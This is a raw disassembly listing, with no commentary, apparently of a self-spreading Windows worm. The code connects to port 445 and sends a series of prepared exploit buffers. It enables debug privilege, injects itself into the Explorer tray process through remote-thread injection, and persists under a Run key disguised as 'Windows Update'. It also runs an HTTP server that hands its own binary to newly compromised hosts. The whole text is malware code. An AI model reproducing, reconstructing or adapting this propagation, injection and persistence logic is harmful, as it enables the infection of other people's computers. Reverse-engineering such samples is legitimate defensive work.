		push	eax
		call	dword_30901118	; wsprintfA
		add	esp, 0Ch
		xor	ecx, ecx
		lea	eax, [ebp+var_133]


loc_3090182C:				; CODE XREF: sub_309017B9+83j
		mov	dl, [ebp+ecx+var_4C]
		mov	[eax-1], dl
		and	byte ptr [eax],	0
		inc	ecx
		inc	eax
		inc	eax
		cmp	ecx, 28h
		jl	short loc_3090182C
		push	60h
		lea	eax, [ebp+var_E4]
		push	offset dword_309047D0
		push	eax
		call	sub_30902C32	; memcpy
		lea	eax, [ebp+var_4C]
		push	eax
		call	sub_30902C2C	; strlen
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_134]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_30902C32	; memcpy
		add	esp, 1Ch
		lea	eax, [ebp+var_4C]
		push	9
		push	(offset	aC+3)
		push	eax
		call	sub_30902C2C	; strlen
		pop	ecx
		lea	eax, [ebp+eax*2+var_B5]
		push	eax
		call	sub_30902C32	; memcpy
		lea	eax, [ebp+var_4C]
		push	eax
		call	sub_30902C2C	; strlen
		add	al, 1Ah
		push	edi
		shl	al, 1
		mov	[ebp+var_5], al
		lea	eax, [ebp+var_5]
		push	eax
		lea	eax, [ebp+var_E1]
		push	eax
		call	sub_30902C32	; memcpy
		lea	eax, [ebp+var_4C]
		push	eax
		call	sub_30902C2C	; strlen
		shl	al, 1
		add	al, 9
		push	edi
		mov	[ebp+var_6], al
		lea	eax, [ebp+var_6]
		push	eax
		lea	eax, [ebp+var_B7]
		push	eax
		call	sub_30902C32	; memcpy
		push	0E29h
		lea	eax, [ebp+var_1F28]
		push	31h
		push	eax
		call	sub_30902C26	; memset
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		call	sub_30902C26	; memset
		add	esp, 44h
		mov	[ebp+var_24], 2
		push	1BDh
		call	dword_3090115C	; htons
		mov	[ebp+var_22], ax
		lea	eax, [ebp+var_24]
		push	10h
		push	eax
		push	[ebp+var_4]
		mov	[ebp+var_20], esi
		call	dword_30901160	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_30901D0F
		mov	esi, dword_30901094
		mov	edi, 0C8h
		push	edi
		call	esi	; Sleep
		push	ebx
		mov	ebx, dword_30901164
		push	89h
		push	offset dword_309045B8
		push	[ebp+var_4]
		call	ebx	; send
		push	edi
		call	esi	; Sleep
		push	0
		lea	eax, [ebp+var_774]
		push	640h
		push	eax
		push	[ebp+var_4]
		call	dword_30901168	; recv
		cmp	eax, 0FFFFFFFFh
		jz	loc_30901D04
		push	0
		push	0A8h
		push	offset dword_30904644
		push	[ebp+var_4]
		call	ebx	; send
		push	edi
		call	esi	; Sleep
		push	0
		lea	eax, [ebp+var_774]
		push	640h
		push	eax
		push	[ebp+var_4]
		call	dword_30901168	; recv
		cmp	eax, 0FFFFFFFFh
		jz	loc_30901D04
		push	0
		push	0DEh
		push	offset dword_309046F0
		push	[ebp+var_4]
		call	ebx	; send
		push	edi
		call	esi	; Sleep
		push	0
		lea	eax, [ebp+var_774]
		push	640h
		push	eax
		push	[ebp+var_4]
		call	dword_30901168	; recv
		cmp	eax, 0FFFFFFFFh
		jz	loc_30901D04
		cmp	eax, 46h
		jl	loc_30901D04
		cmp	[ebp+var_730], 31h
		jnz	loc_30901BAF
		and	[ebp+arg_0], 0
		push	7D0h
		lea	eax, [ebp+var_F44]
		push	90h
		push	eax
		call	sub_30902C26	; memset
		add	esp, 0Ch
		push	offset byte_309042F0
		call	dword_30901084	; lstrlen
		push	eax
		lea	eax, [ebp+var_EA4]
		push	offset byte_309042F0
		push	eax
		call	sub_30902C32	; memcpy
		add	esp, 0Ch
		lea	eax, [ebp+var_14]
		push	eax
		call	dword_30901084	; lstrlen
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_788]
		push	eax
		call	sub_30902C32	; memcpy
		mov	eax, dword_30904BF6
		add	esp, 0Ch
		mov	[ebp+var_798], eax


loc_30901A50:				; CODE XREF: sub_309017B9+4E1j
		movsx	eax, [ebp+var_5]
		add	eax, 4
		push	0
		push	eax
		lea	eax, [ebp+var_E4]
		push	eax
		push	[ebp+var_4]
		call	ebx	; send
		push	edi
		call	esi	; Sleep
		push	0
		lea	eax, [ebp+var_774]
		push	640h
		push	eax
		push	[ebp+var_4]
		call	dword_30901168	; recv
		cmp	eax, 0FFFFFFFFh
		jz	loc_30901D04
		push	0
		push	68h
		push	offset dword_30904834
		push	[ebp+var_4]
		call	ebx	; send
		push	edi
		call	esi	; Sleep
		push	0
		lea	eax, [ebp+var_774]
		push	640h
		push	eax
		push	[ebp+var_4]
		call	dword_30901168	; recv
		cmp	eax, 0FFFFFFFFh
		jz	loc_30901D04
		push	0
		push	0A0h
		push	offset dword_309048A0
		push	[ebp+var_4]
		call	ebx	; send
		push	edi
		call	esi	; Sleep
		push	0
		lea	eax, [ebp+var_774]
		push	640h
		push	eax
		push	[ebp+var_4]
		call	dword_30901168	; recv
		cmp	eax, 0FFFFFFFFh
		jz	loc_30901D04
		cmp	[ebp+arg_0], 0
		jz	loc_30901C9F
		push	68h
		lea	eax, [ebp+var_89E4]
		push	offset dword_30904A58
		push	eax
		call	sub_30902C32	; memcpy
		lea	eax, [ebp+var_4834]
		push	1B5Ah
		push	eax
		lea	eax, [ebp+var_897C]
		push	eax
		call	sub_30902C32	; memcpy
		push	70h
		lea	eax, [ebp+var_690C]
		push	offset dword_30904AC4
		push	eax
		call	sub_30902C32	; memcpy
		lea	eax, [ebp+var_37A0]
		push	0A5Eh
		push	eax
		lea	eax, [ebp+var_689C]
		push	eax
		call	sub_30902C32	; memcpy
		push	84h
		lea	eax, [ebp+var_5DD8]
		push	offset dword_30904B38
		push	eax
		call	sub_30902C32	; memcpy
		add	esp, 3Ch
		lea	eax, [ebp+var_89E4]
		push	0
		push	10FCh
		push	eax
		push	[ebp+var_4]
		call	ebx	; send
		push	edi
		call	esi	; Sleep
		push	0
		lea	eax, [ebp+var_774]
		push	640h
		push	eax
		push	[ebp+var_4]
		call	dword_30901168	; recv
		cmp	eax, 0FFFFFFFFh
		jz	loc_30901D04
		push	0
		push	0FDCh
		lea	eax, [ebp+var_690C]
		jmp	loc_30901CF7
; ---------------------------------------------------------------------------


loc_30901BAF:				; CODE XREF: sub_309017B9+22Bj
		push	0DACh
		lea	eax, [ebp+var_2CD8]
		push	90h
		push	eax
		mov	[ebp+arg_0], 1
		call	sub_30902C26	; memset
		push	4
		lea	eax, [ebp+var_24F4]
		push	offset dword_30904C30
		push	eax
		call	sub_30902C32	; memcpy
		push	offset byte_309042F0
		call	sub_30902C2C	; strlen
		push	eax
		lea	eax, [ebp+var_24E4]
		push	offset byte_309042F0
		push	eax
		call	sub_30902C32	; memcpy
		push	4
		lea	eax, [ebp+var_21C0]
		push	offset loc_30904CA8
		push	eax
		call	sub_30902C32	; memcpy
		push	4
		lea	eax, [ebp+var_21BC]
		push	offset dword_30904C30
		push	eax
		call	sub_30902C32	; memcpy
		add	esp, 40h
		push	offset byte_309042F0
		call	sub_30902C2C	; strlen
		push	eax
		lea	eax, [ebp+var_21B0]
		push	offset byte_309042F0
		push	eax
		call	sub_30902C32	; memcpy
		add	esp, 10h
		xor	ecx, ecx
		lea	eax, [ebp+var_4833]


loc_30901C4B:				; CODE XREF: sub_309017B9+4A8j
		mov	dl, [ebp+ecx+var_2CD8]
		mov	[eax-1], dl
		and	byte ptr [eax],	0
		inc	ecx
		inc	eax
		inc	eax
		cmp	ecx, 0DACh
		jl	short loc_30901C4B
		and	[ebp+var_2CDC],	0
		and	[ebp+var_2CDB],	0
		push	1C52h
		lea	eax, [ebp+var_89E4]
		push	31h
		push	eax
		call	sub_30902C26	; memset
		push	1C52h
		lea	eax, [ebp+var_690C]
		push	31h
		push	eax
		call	sub_30902C26	; memset
		add	esp, 18h
		jmp	loc_30901A50
; ---------------------------------------------------------------------------


loc_30901C9F:				; CODE XREF: sub_309017B9+339j
		push	7Ch
		lea	eax, [ebp+var_1F28]
		push	offset dword_30904944
		push	eax
		call	sub_30902C32	; memcpy
		lea	eax, [ebp+var_F44]
		push	7D0h
		push	eax
		lea	eax, [ebp+var_1EAC]
		push	eax
		call	sub_30902C32	; memcpy
		push	90h
		lea	eax, [ebp+var_16DC]
		push	offset dword_309049C4
		push	eax
		call	sub_30902C32	; memcpy
		add	esp, 24h
		and	[ebp+var_1231],	0
		lea	eax, [ebp+var_1F28]
		push	0
		push	0CF8h


loc_30901CF7:				; CODE XREF: sub_309017B9+3F1j
		push	eax
		push	[ebp+var_4]
		call	ebx	; send
		push	edi
		call	esi	; Sleep
		and	[ebp+var_C], 0


loc_30901D04:				; CODE XREF: sub_309017B9+1ADj
					; sub_309017B9+1E1j ...
		push	2
		push	[ebp+var_4]
		call	dword_3090116C	; shutdown


loc_30901D0F:				; CODE XREF: sub_309017B9+166j
		push	[ebp+var_4]
		call	dword_30901170	; closesocket
		pop	esi


loc_30901D19:				; CODE XREF: sub_309017B9+37j
		mov	eax, [ebp+var_C]
		pop	edi
		pop	ebx
		leave
		retn
sub_309017B9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_30901D20	proc near		; CODE XREF: UPX0:loc_30902321p

var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		push	edi
		push	offset aAdvapi32 ; "advapi32"
		call	dword_309010A4	; LoadLibraryA
		mov	esi, dword_309010A0
		mov	edi, eax
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi	; GetProcAddress
		test	eax, eax
		mov	[ebp+var_4], eax
		jz	short loc_30901DA4
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		call	esi	; GetProcAddress
		test	eax, eax
		mov	[ebp+var_8], eax
		jz	short loc_30901DA4
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		call	esi	; GetProcAddress
		mov	esi, eax
		test	esi, esi
		jz	short loc_30901DA4
		lea	eax, [ebp+var_C]
		push	eax
		push	20h
		call	dword_3090109C	; GetCurrentProcess
		push	eax
		call	[ebp+var_4]
		lea	eax, [ebp+var_18]
		mov	[ebp+var_1C], 1
		push	eax
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		push	0
		mov	[ebp+var_10], 2
		call	[ebp+var_8]
		push	0
		push	0
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	0
		push	[ebp+var_C]
		call	esi	; GetProcAddress


loc_30901DA4:				; CODE XREF: sub_30901D20+28j
					; sub_30901D20+37j ...
		pop	edi
		pop	esi
		leave
		retn
sub_30901D20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_30901DA8	proc near		; CODE XREF: UPX0:30902335p

var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	ecx, dword_30904FD0
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		mov	eax, [ecx+3Ch]
		push	edi
		add	eax, ecx
		push	offset aKernel32 ; "kernel32"
		mov	ecx, [eax+34h]
		mov	edi, [eax+50h]
		mov	[ebp+var_C], ecx
		call	dword_309010B0	; GetModuleHandleA
		mov	esi, dword_309010A0
		mov	ebx, eax
		push	offset aVirtualallocex ; "VirtualAllocEx"
		push	ebx
		call	esi	; GetProcAddress
		test	eax, eax
		mov	[ebp+var_10], eax
		jnz	short loc_30901DEF


loc_30901DEB:				; CODE XREF: sub_30901DA8+54j
		push	1
		jmp	short loc_30901E40
; ---------------------------------------------------------------------------


loc_30901DEF:				; CODE XREF: sub_30901DA8+41j
		push	offset aCreateremoteth ; "CreateRemoteThread"
		push	ebx
		call	esi	; GetProcAddress
		test	eax, eax
		mov	[ebp+var_14], eax
		jz	short loc_30901DEB
		push	0
		push	offset aShell_traywnd ;	"Shell_TrayWnd"
		call	dword_3090110C	; FindWindowA
		test	eax, eax
		jnz	short loc_30901E1D
		call	dword_30901110	; GetForegroundWindow
		test	eax, eax
		jnz	short loc_30901E1D
		push	2
		jmp	short loc_30901E40
; ---------------------------------------------------------------------------


loc_30901E1D:				; CODE XREF: sub_30901DA8+65j
					; sub_30901DA8+6Fj
		lea	ecx, [ebp+var_8]
		push	ecx
		push	eax
		call	dword_30901114	; GetWindowThreadProcessId
		push	[ebp+var_8]
		push	0
		push	42Ah
		call	dword_309010AC	; OpenProcess
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_30901E43
		push	3


loc_30901E40:				; CODE XREF: sub_30901DA8+45j
					; sub_30901DA8+73j
		pop	eax
		jmp	short loc_30901EAE
; ---------------------------------------------------------------------------


loc_30901E43:				; CODE XREF: sub_30901DA8+94j
		push	4
		push	3000h
		push	edi
		push	[ebp+var_C]
		push	ebx
		call	[ebp+var_10]
		mov	esi, dword_3090107C
		test	eax, eax
		jz	short loc_30901EA1
		lea	ecx, [ebp+var_10]
		push	ecx
		push	edi
		push	eax
		push	eax
		push	ebx
		call	dword_309010A8	; WriteProcessMemory
		push	dword_30904FC4
		call	esi	; CloseHandle
		lea	eax, [ebp+var_18]
		xor	edi, edi
		push	eax
		push	edi
		push	1
		push	[ebp+arg_0]
		push	edi
		push	edi
		push	ebx
		call	[ebp+var_14]
		cmp	eax, edi
		jz	short loc_30901E8D
		push	eax
		call	esi	; CloseHandle
		jmp	short loc_30901EA8
; ---------------------------------------------------------------------------


loc_30901E8D:				; CODE XREF: sub_30901DA8+DEj
		push	offset aUterm14	; "uterm14"
		call	sub_30901EE1
		pop	ecx
		mov	[ebp+var_4], 5
		jmp	short loc_30901EA8
; ---------------------------------------------------------------------------


loc_30901EA1:				; CODE XREF: sub_30901DA8+B2j
		mov	[ebp+var_4], 4


loc_30901EA8:				; CODE XREF: sub_30901DA8+E3j
					; sub_30901DA8+F7j
		push	ebx
		call	esi	; CloseHandle
		mov	eax, [ebp+var_4]


loc_30901EAE:				; CODE XREF: sub_30901DA8+99j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_30901DA8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_30901EB3	proc near		; CODE XREF: sub_3090216F+Bp
					; UPX0:309022F7p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		pusha
		rdtsc
		mov	[ebp+var_8], eax
		popa
		mov	[ebp+var_4], esp
		call	dword_309010B4	; GetTickCount
		mov	ecx, [ebp+var_4]
		imul	ecx, [ebp+var_8]
		add	eax, ecx
		push	eax
		call	dword_309010E8	; srand
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_30901EB3	endp


; =============== S U B	R O U T	I N E =======================================



sub_30901EE1	proc near		; CODE XREF: sub_30901DA8+EAp
					; UPX0:30902301p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		push	1
		push	0
		call	dword_309010B8	; CreateMutexA
		retn
sub_30901EE1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_30901EF0	proc near		; CODE XREF: sub_3090235D+FBp
					; sub_3090235D+106p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		lea	eax, [ebp+arg_4]
		push	eax
		xor	eax, eax
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		push	eax
		call	dword_309010BC	; CreateThread
		pop	ebp
		retn
sub_30901EF0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_30901F0A	proc near		; CODE XREF: sub_3090216F+12Cp
					; sub_30902514+5Ap ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		lea	eax, [ebp+arg_4]
		push	eax
		xor	eax, eax
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		push	eax
		call	dword_309010BC	; CreateThread
		push	eax
		call	dword_3090107C	; CloseHandle
		pop	ebp
		retn
sub_30901F0A	endp


; =============== S U B	R O U T	I N E =======================================



sub_30901F2B	proc near		; CODE XREF: sub_309011A0+68p
					; sub_309029E5+3Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+0Ch+arg_4]
		xor	esi, esi
		test	edi, edi
		jle	short loc_30901F53


loc_30901F3C:				; CODE XREF: sub_30901F2B+26j
		call	dword_309010F8	; rand
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[esi+ebx], dl
		inc	esi
		cmp	esi, edi
		jl	short loc_30901F3C


loc_30901F53:				; CODE XREF: sub_30901F2B+Fj
		and	byte ptr [ebx+edi], 0
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_30901F2B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_30901F5B	proc near		; CODE XREF: sub_309011A0+105p

var_54		= dword	ptr -54h
var_24		= word ptr -24h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 54h
		push	esi
		push	edi
		push	44h
		xor	esi, esi
		pop	edi
		lea	eax, [ebp+var_54]
		push	edi
		push	esi
		push	eax
		call	sub_30902C26	; memset
		mov	ax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_24], ax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		mov	[ebp+var_54], edi
		push	[ebp+arg_0]
		push	esi
		call	dword_309010C0	; CreateProcessA
		push	[ebp+var_C]
		mov	esi, dword_3090107C
		mov	edi, eax
		call	esi	; CloseHandle
		push	[ebp+var_10]
		call	esi	; CloseHandle
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_30901F5B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_30901FB1	proc near		; CODE XREF: sub_3090259C+3Ep
					; sub_30902663+7p ...

var_34		= byte ptr -34h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		lea	eax, [ebp+var_34]
		push	31h
		push	eax
		call	dword_30901148	; gethostname
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_30901FD2
		call	dword_3090114C	; WSAGetLastError
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_30901FD2:				; CODE XREF: sub_30901FB1+15j
		lea	eax, [ebp+var_34]
		push	eax
		call	dword_30901150	; gethostbyname
		test	eax, eax
		jnz	short loc_30901FE7
		mov	eax, 100007Fh
		leave
		retn
; ---------------------------------------------------------------------------


loc_30901FE7:				; CODE XREF: sub_30901FB1+2Dj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		leave
		retn
sub_30901FB1	endp


; =============== S U B	R O U T	I N E =======================================



sub_30901FF0	proc near		; CODE XREF: sub_309024B0+22p
					; sub_30902514+27p ...

var_4		= byte ptr -4

		push	ecx
		lea	eax, [esp+4+var_4]
		push	0
		push	eax
		call	dword_3090112C	; InternetGetConnectedState
		neg	eax
		sbb	eax, eax
		neg	eax
		pop	ecx
		retn
sub_30901FF0	endp


; =============== S U B	R O U T	I N E =======================================



sub_30902006	proc near		; CODE XREF: sub_3090235D+40p
					; sub_3090235D+4Cp ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		push	0
		push	2
		call	dword_309010C8	; OpenEventA
		test	eax, eax
		jz	short locret_3090201F
		push	eax
		call	dword_309010C4	; SetEvent

locret_3090201F:			; CODE XREF: sub_30902006+10j
		retn
sub_30902006	endp


; =============== S U B	R O U T	I N E =======================================



sub_30902020	proc near		; CODE XREF: sub_3090169C+29p
		push	esi
		mov	esi, dword_309010F8
		push	edi
		call	esi	; rand
		mov	edi, eax
		shl	edi, 10h
		call	esi	; rand
		or	eax, edi
		pop	edi
		pop	esi
		retn
sub_30902020	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_30902036	proc near		; DATA XREF: sub_3090216F+127o

var_200		= byte ptr -200h
var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		xor	edi, edi
		lea	eax, [ebp+var_100]
		push	edi
		push	100h
		push	eax
		push	ebx
		call	dword_30901168	; recv
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_30902067
		push	1
		jmp	loc_30902122
; ---------------------------------------------------------------------------


loc_30902067:				; CODE XREF: sub_30902036+28j
		mov	esi, dword_30901100
		lea	eax, [ebp+var_100]
		push	offset aGet	; "GET"
		push	eax
		call	esi	; strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_30902125
		lea	eax, [ebp+var_100]
		push	offset dword_30904228
		push	eax
		call	esi	; strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_30902125
		mov	esi, dword_30901164
		push	0
		push	3Dh
		push	offset aHttp1_1200OkCo ; "HTTP/1.1 200 OK\r\nContent-Type: applicat"...
		push	ebx
		call	esi	; send
		push	dword_30904FC0
		lea	eax, [ebp+var_200]
		push	offset aContentLengthU ; "Content-Length: %u\r\n\r\n"
		push	eax
		call	dword_30901118	; wsprintfA
		add	esp, 0Ch
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_30902C2C	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	ebx
		call	esi	; send


loc_309020E4:				; CODE XREF: sub_30902036+E8j
		mov	eax, dword_30904FC0
		mov	ecx, 1000h
		sub	eax, edi
		cmp	eax, ecx
		jb	short loc_309020F6
		mov	eax, ecx


loc_309020F6:				; CODE XREF: sub_30902036+BCj
		test	eax, eax
		jz	short loc_30902143
		push	0
		push	eax
		mov	eax, dword_30904FB8
		add	eax, edi
		push	eax
		push	ebx
		call	esi	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_30902120
		cmp	eax, 1000h
		jb	short loc_30902143
		push	64h
		add	edi, eax
		call	dword_30901094	; Sleep
		jmp	short loc_309020E4
; ---------------------------------------------------------------------------


loc_30902120:				; CODE XREF: sub_30902036+D5j
		push	2


loc_30902122:				; CODE XREF: sub_30902036+2Cj
		pop	eax
		jmp	short loc_30902168
; ---------------------------------------------------------------------------


loc_30902125:				; CODE XREF: sub_30902036+49j
					; sub_30902036+61j
		mov	esi, dword_30901164
		push	0
		push	15h
		push	offset aHttp1_1200Ok ; "HTTP/1.1 200 OK\r\n\r\n\r\n"
		push	ebx
		call	esi	; send
		push	0
		push	3
		push	offset dword_30904D70
		push	ebx
		call	esi	; send


loc_30902143:				; CODE XREF: sub_30902036+C2j
					; sub_30902036+DCj
		push	7D0h
		call	dword_30901094	; Sleep
		push	2
		push	ebx
		call	dword_3090116C	; shutdown
		push	ebx
		call	dword_30901170	; closesocket
		push	0
		call	dword_309010CC	; ExitThread
		xor	eax, eax


loc_30902168:				; CODE XREF: sub_30902036+EDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_30902036	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_3090216F	proc near		; DATA XREF: sub_3090235D+F6o

var_130		= byte ptr -130h
var_28		= byte ptr -28h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 130h
		push	ebx
		push	edi
		call	sub_30901EB3
		lea	eax, [ebp+var_130]
		push	104h
		push	eax
		push	offset aWindowsUpdate ;	"Windows Update"
		xor	ebx, ebx
		push	offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"...
		push	80000002h
		mov	dword_30904FBC,	ebx
		call	sub_309027D3
		add	esp, 14h
		test	eax, eax
		jnz	loc_309022A4
		push	esi
		push	ebx
		push	ebx
		push	3
		push	ebx
		push	1
		lea	eax, [ebp+var_130]
		push	80000000h
		push	eax
		call	dword_30901080	; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_309021DB
		push	1
		call	dword_309010CC	; ExitThread


loc_309021DB:				; CODE XREF: sub_3090216F+62j
		push	ebx
		push	esi
		call	dword_309010D4	; GetFileSize
		push	eax
		mov	dword_30904FC0,	eax
		call	sub_30902BEF
		pop	ecx
		mov	dword_30904FB8,	eax
		lea	ecx, [ebp+var_4]
		push	ebx
		push	ecx
		push	dword_30904FC0
		push	eax
		push	esi
		call	dword_309010D0	; ReadFile
		mov	eax, [ebp+var_4]
		push	esi
		mov	dword_30904FC0,	eax
		call	dword_3090107C	; CloseHandle
		push	ebx
		push	1
		push	2
		call	dword_30901154	; socket
		push	10h
		mov	edi, eax
		pop	esi
		lea	eax, [ebp+var_18]
		push	esi
		push	ebx
		push	eax
		call	sub_30902C26	; memset
		add	esp, 0Ch
		mov	[ebp+var_18], 2
		mov	[ebp+var_14], ebx


loc_3090223D:				; CODE XREF: sub_3090216F+E5j
					; sub_3090216F+EDj ...
		call	dword_309010F8	; rand
		add	eax, 7D0h
		and	eax, 1FFFh
		cmp	al, bl
		mov	dword_30904FCC,	eax
		jz	short loc_3090223D
		xor	ecx, ecx
		mov	cl, ah
		test	cl, cl
		jz	short loc_3090223D
		push	eax
		call	dword_3090115C	; htons
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_18]
		push	esi
		push	eax
		push	edi
		call	dword_3090113C	; bind
		test	eax, eax
		jnz	short loc_3090223D
		push	64h
		push	edi
		call	dword_30901140	; listen
		mov	[ebp+var_8], esi
		pop	esi


loc_30902286:				; CODE XREF: sub_3090216F+133j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		push	edi
		call	dword_30901144	; accept
		push	eax
		push	offset sub_30902036
		call	sub_30901F0A
		pop	ecx
		pop	ecx
		jmp	short loc_30902286
; ---------------------------------------------------------------------------


loc_309022A4:				; CODE XREF: sub_3090216F+3Dj
		push	ebx
		call	dword_309010CC	; ExitThread
		pop	edi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_3090216F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_309022B3	proc near		; CODE XREF: sub_3090235D:loc_3090244Dp

var_190		= byte ptr -190h

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		lea	eax, [ebp+var_190]
		push	esi
		mov	esi, dword_30901138
		push	eax
		push	2
		call	esi	; WSAStartup
		lea	eax, [ebp+var_190]
		push	eax
		push	102h
		call	esi	; WSAStartup
		pop	esi
		leave
		retn
sub_309022B3	endp

; ---------------------------------------------------------------------------


loc_309022DF:				; CODE XREF: UPX1:30906C58j
		push	0
		call	dword_309010B0	; GetModuleHandleA
		push	offset aFtpupd_exe ; "ftpupd.exe"
		mov	dword_30904FD0,	eax
		call	dword_309010E0	; DeleteFileA
		call	sub_30901EB3
		push	offset aUterm14	; "uterm14"
		call	sub_30901EE1
		pop	ecx
		mov	dword_30904FC4,	eax
		call	dword_309010DC	; RtlGetLastWin32Error
		cmp	eax, 0B7h
		jnz	short loc_30902321
		push	1
		call	dword_309010D8	; ExitProcess


loc_30902321:				; CODE XREF: UPX0:30902317j
		call	sub_30901D20
		call	sub_30902937
		call	sub_30902AB1
		push	offset sub_3090235D
		call	sub_30901DA8
		test	eax, eax
		pop	ecx
		jz	short loc_30902346
		push	0
		call	sub_3090235D


loc_30902346:				; CODE XREF: UPX0:3090233Dj
		xor	eax, eax
		retn

; =============== S U B	R O U T	I N E =======================================



sub_30902349	proc near		; CODE XREF: sub_3090235D:loc_30902476p
					; sub_309024B0:loc_309024C9p ...
		push	0
		push	dword_30904FC8
		call	dword_30901074	; WaitForSingleObject
		neg	eax
		sbb	eax, eax
		inc	eax
		retn
sub_30902349	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_3090235D	proc near		; CODE XREF: UPX0:30902341p
					; DATA XREF: UPX0:30902330o

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_30901188
		push	offset loc_30902C20
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		push	offset aU13x	; "u13x"
		xor	edi, edi
		push	edi
		push	1
		push	edi
		call	dword_30901070	; CreateEventA
		mov	dword_30904FC8,	eax
		mov	[ebp+var_4], edi
		push	offset aU10x	; "u10x"
		call	sub_30902006
		mov	[esp+0Ch+var_C], offset	aU11x ;	"u11x"
		call	sub_30902006
		mov	[esp+0Ch+var_C], offset	aU12x ;	"u12x"
		call	sub_30902006
		mov	[esp+0Ch+var_C], offset	aU8 ; "u8"
		call	sub_30901EE1
		mov	[esp+0Ch+var_C], offset	aU9 ; "u9"
		call	sub_30901EE1
		mov	[esp+0Ch+var_C], offset	aU10 ; "u10"
		call	sub_30901EE1
		mov	[esp+0Ch+var_C], offset	aU11 ; "u11"
		call	sub_30901EE1
		mov	[esp+0Ch+var_C], offset	aU12 ; "u12"
		call	sub_30901EE1
